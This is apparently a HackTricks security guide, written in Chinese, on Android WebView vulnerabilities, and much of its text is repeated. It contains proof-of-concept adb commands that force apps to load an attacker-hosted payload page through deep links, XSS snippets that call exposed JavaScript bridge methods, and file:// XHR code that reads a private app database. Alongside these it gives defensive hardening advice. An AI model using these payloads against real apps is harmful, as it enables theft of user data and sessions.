Webview 攻击
Reading time: 19 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
WebView 配置和安全指南
WebView 漏洞概述
Android 开发的一个关键方面是正确处理 WebViews。本指南强调了关键配置和安全实践,以减轻与 WebView 使用相关的风险。
WebViews 中的文件访问
默认情况下,WebViews 允许文件访问。此功能由 setAllowFileAccess()
方法控制,自 Android API 级别 3(Cupcake 1.5)以来可用。具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用文件 URL 方案(file://path/to/file
)从外部存储读取文件。
已弃用的功能:从 URL 的通用和文件访问
- 从文件 URL 的通用访问:此已弃用功能允许来自文件 URL 的跨源请求,由于潜在的 XSS 攻击,构成了重大安全风险。默认设置在针对 Android Jelly Bean 及更高版本的应用中被禁用(
false
)。 - 要检查此设置,请使用
getAllowUniversalAccessFromFileURLs()
。 - 要修改此设置,请使用
setAllowUniversalAccessFromFileURLs(boolean)
。 - 从文件 URL 的文件访问:此功能也已弃用,控制对其他文件方案 URL 内容的访问。与通用访问一样,其默认设置为禁用,以增强安全性。
- 使用
getAllowFileAccessFromFileURLs()
进行检查,使用setAllowFileAccessFromFileURLs(boolean)
进行设置。
安全文件加载
为了在仍然访问资产和资源的同时禁用文件系统访问,使用 setAllowFileAccess()
方法。对于 Android R 及更高版本,默认设置为 false
。
- 使用
getAllowFileAccess()
进行检查。 - 使用
setAllowFileAccess(boolean)
启用或禁用。
WebViewAssetLoader
WebViewAssetLoader 类是加载本地文件的现代方法。它使用 http(s) URL 访问本地资产和资源,符合同源策略,从而促进 CORS 管理。
loadUrl
这是一个常用函数,用于在 webview 中加载任意 URL:
webview.loadUrl("<url here>")
当然,潜在攻击者绝不应该能够控制应用程序将要加载的 URL。
JavaScript 和 Intent 方案处理
- JavaScript:在 WebViews 中默认禁用,可以通过
setJavaScriptEnabled()
启用。建议谨慎操作,因为在没有适当保护的情况下启用 JavaScript 可能会引入安全漏洞。 - Intent 方案:WebViews 可以处理
intent
方案,如果管理不当,可能导致漏洞。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",可以被利用来执行跨站脚本 (XSS) 攻击。
使用 adb 的利用示例:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android 提供了一项功能,使得 JavaScript 在 WebView 中能够调用 本地 Android 应用程序功能。这通过利用 addJavascriptInterface
方法实现,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要谨慎,因为此方法允许 WebView 中的所有页面访问注册的 JavaScript 接口对象,如果通过这些接口暴露敏感信息,则会带来安全风险。
- 针对 Android 版本低于 4.2 的应用程序,需要极其谨慎,因为存在一个漏洞,允许通过恶意 JavaScript 进行远程代码执行,利用反射进行攻击。
Implementing a JavaScript Bridge
- JavaScript 接口 可以与本地代码交互,如示例中所示,类方法被暴露给 JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge 通过向 WebView 添加接口来启用:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- 通过 JavaScript 进行潜在的利用,例如,通过 XSS 攻击,可以调用暴露的 Java 方法:
<script>
alert(javascriptBridge.getSecret())
</script>
- 为了降低风险,限制 JavaScript 桥接的使用,仅允许 APK 中的代码,并防止从远程源加载 JavaScript。对于旧设备,将最低 API 级别设置为 17。
基于反射的远程代码执行 (RCE)
- 一种文档化的方法允许通过反射实现 RCE,方法是执行特定的有效负载。然而,
@JavascriptInterface
注解防止未经授权的方法访问,从而限制了攻击面。
远程调试
- 远程调试 可以通过 Chrome 开发者工具 实现,允许在 WebView 内容中进行交互和任意 JavaScript 执行。
启用远程调试
- 可以通过以下方式为应用程序中的所有 WebView 启用远程调试:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- 根据应用程序的可调试状态有条件地启用调试:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
导出任意文件
- 演示使用 XMLHttpRequest 导出任意文件:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
Webview 攻击
WebView 配置和安全指南
WebView 漏洞概述
Android 开发的一个关键方面是正确处理 WebViews。本指南强调了关键配置和安全实践,以减轻与 WebView 使用相关的风险。
WebViews 中的文件访问
默认情况下,WebViews 允许文件访问。此功能由 setAllowFileAccess()
方法控制,自 Android API 级别 3(Cupcake 1.5)以来可用。具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用文件 URL 方案(file://path/to/file
)从外部存储读取文件。
已弃用的功能:从 URL 的通用和文件访问
- 从文件 URL 的通用访问:此已弃用功能允许来自文件 URL 的跨源请求,由于潜在的 XSS 攻击,构成了重大安全风险。默认设置在针对 Android Jelly Bean 及更高版本的应用中被禁用(
false
)。 - 要检查此设置,请使用
getAllowUniversalAccessFromFileURLs()
。 - 要修改此设置,请使用
setAllowUniversalAccessFromFileURLs(boolean)
。 - 从文件 URL 的文件访问:此功能也已弃用,控制对其他文件方案 URL 内容的访问。与通用访问一样,其默认设置为禁用,以增强安全性。
- 使用
getAllowFileAccessFromFileURLs()
进行检查,使用setAllowFileAccessFromFileURLs(boolean)
进行设置。
安全文件加载
为了在仍然访问资产和资源的同时禁用文件系统访问,使用 setAllowFileAccess()
方法。对于 Android R 及更高版本,默认设置为 false
。
- 使用
getAllowFileAccess()
进行检查。 - 使用
setAllowFileAccess(boolean)
启用或禁用。
WebViewAssetLoader
WebViewAssetLoader 类是加载本地文件的现代方法。它使用 http(s) URL 访问本地资产和资源,符合同源策略,从而促进 CORS 管理。
loadUrl
这是一个常用函数,用于在 webview 中加载任意 URL:
webview.loadUrl("<url here>")
当然,潜在攻击者绝不能控制应用程序将要加载的 URL。
深度链接到内部 WebView(自定义方案 → WebView 漏洞)
许多应用程序注册自定义方案/路径,将用户提供的 URL 路由到应用内的 WebView。如果深度链接被导出(VIEW + BROWSABLE),攻击者可以强制应用在其 WebView 上下文中渲染任意远程内容。
典型的清单模式(简化版):
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>
常见代码流程(简化):
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}
// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));
攻击模式和通过adb的PoC:
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
影响:远程页面在应用的 WebView 上下文中运行(应用 WebView 配置的 cookies/session,访问任何暴露的 @JavascriptInterface,潜在访问 content:// 和 file://,具体取决于设置)。
狩猎技巧:
- Grep 反编译的源代码,查找
getQueryParameter("url")
、loadUrl(
、WebView
sinks 和深度链接处理程序(onCreate/onNewIntent
)。 - 检查清单中的 VIEW+BROWSABLE 过滤器和映射到后续启动 WebView 的活动的自定义方案/主机。
- 检查是否存在多个深度链接路径(例如,“外部浏览器”路径与“内部 WebView”路径),并优先选择在应用内渲染的路径。
在验证之前启用 JavaScript(检查顺序错误)
一个常见的加固错误是在最终允许列表/验证目标 URL 完成之前启用 JavaScript 或配置放宽的 WebView 设置。如果验证在助手之间不一致或发生得太晚,攻击者的深度链接可能会达到以下状态:
- WebView 设置生效(例如,
setJavaScriptEnabled(true)
),并且 - 不受信任的 URL 在启用 JavaScript 的情况下加载。
错误模式(伪代码):
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;
// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();
// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled
// 4) Load
webView.loadUrl(u.toString());
为什么它是可利用的
- 不一致的规范化:辅助程序以不同于最终检查的方式拆分/重建 URL,导致恶意 URL 可以利用的不匹配。
- 管道顺序错误:在第 2 步中启用 JS 会全局应用于 WebView 实例,即使后续验证失败也会影响最终加载。
如何测试
- 构造通过早期检查并到达 WebView 配置站点的深链接有效负载。
- 使用 adb 触发隐式 VIEW 意图,传递由您控制的
url=
参数:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
如果利用成功,您的有效载荷将在应用的 WebView 中执行 JavaScript。接下来,探测暴露的桥接:
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>
防御性指导
- 仅进行一次规范化;严格根据单一真实来源(方案/主机/路径/查询)进行验证。
- 仅在所有白名单检查通过后并在加载受信内容之前调用
setJavaScriptEnabled(true)
。 - 避免将
@JavascriptInterface
暴露给不受信任的来源;优先考虑每个来源的门控。 - 考虑为受信和不受信内容使用每个 WebView 实例,默认情况下禁用 JS。
JavaScript 和 Intent 方案处理
- JavaScript:在 WebView 中默认禁用,可以通过
setJavaScriptEnabled()
启用。建议谨慎操作,因为在没有适当保护的情况下启用 JavaScript 可能会引入安全漏洞。 - Intent 方案:WebView 可以处理
intent
方案,如果管理不当,可能导致漏洞。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",该参数可能被利用来执行跨站脚本(XSS)攻击。
使用 adb 的利用示例:
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
Javascript Bridge
Android 提供了一项功能,使得 JavaScript 在 WebView 中能够调用 本地 Android 应用程序功能。这通过利用 addJavascriptInterface
方法实现,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要谨慎,因为此方法允许 WebView 中的所有页面访问注册的 JavaScript 接口对象,如果通过这些接口暴露敏感信息,则会带来安全风险。
- 针对 Android 版本低于 4.2 的应用程序需要 极其谨慎,因为存在一个漏洞允许通过恶意 JavaScript 进行远程代码执行,利用反射。
Implementing a JavaScript Bridge
- JavaScript 接口 可以与本地代码交互,如示例所示,其中一个类方法被暴露给 JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
- JavaScript Bridge 通过向 WebView 添加接口来启用:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
- 通过 JavaScript 进行潜在的利用,例如,通过 XSS 攻击,可以调用暴露的 Java 方法:
<script>
alert(javascriptBridge.getSecret())
</script>
- 为了降低风险,限制 JavaScript 桥接的使用,仅允许 APK 中的代码,并防止从远程源加载 JavaScript。对于旧设备,将最低 API 级别设置为 17。
基于反射的远程代码执行 (RCE)
- 一种文档化的方法允许通过反射实现 RCE,方法是执行特定的有效负载。然而,
@JavascriptInterface
注解防止未经授权的方法访问,从而限制了攻击面。
远程调试
- 远程调试 可以通过 Chrome 开发者工具 实现,允许在 WebView 内容中进行交互和任意 JavaScript 执行。
启用远程调试
- 可以通过以下方式为应用程序中的所有 WebView 启用远程调试:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
- 根据应用程序的可调试状态有条件地启用调试:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
导出任意文件
- 演示了使用 XMLHttpRequest 导出任意文件:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)
References
- Review of Android WebViews file access attack vectors
- WheresMyBrowser.Android (demo app)
- Android WebView reference
- Deep Links & WebViews Exploitations – Part II
- Deep Links & WebViews Exploitations – Part I
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。